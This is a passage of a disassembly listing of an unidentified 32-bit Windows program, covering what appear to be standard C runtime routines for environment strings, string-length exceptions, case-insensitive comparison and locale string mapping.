loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 25D0000h nop push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2830000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 265142Ah pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi call near ptr 2640000h nop test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi call near ptr 2650000h nop test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 27F1177h nop mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 27F1177h nop test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2800000h nop mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26000B1h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi call near ptr 26006B3h nop test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 26000B1h nop jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 27F1177h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27F1177h nop test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 26006B3h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; 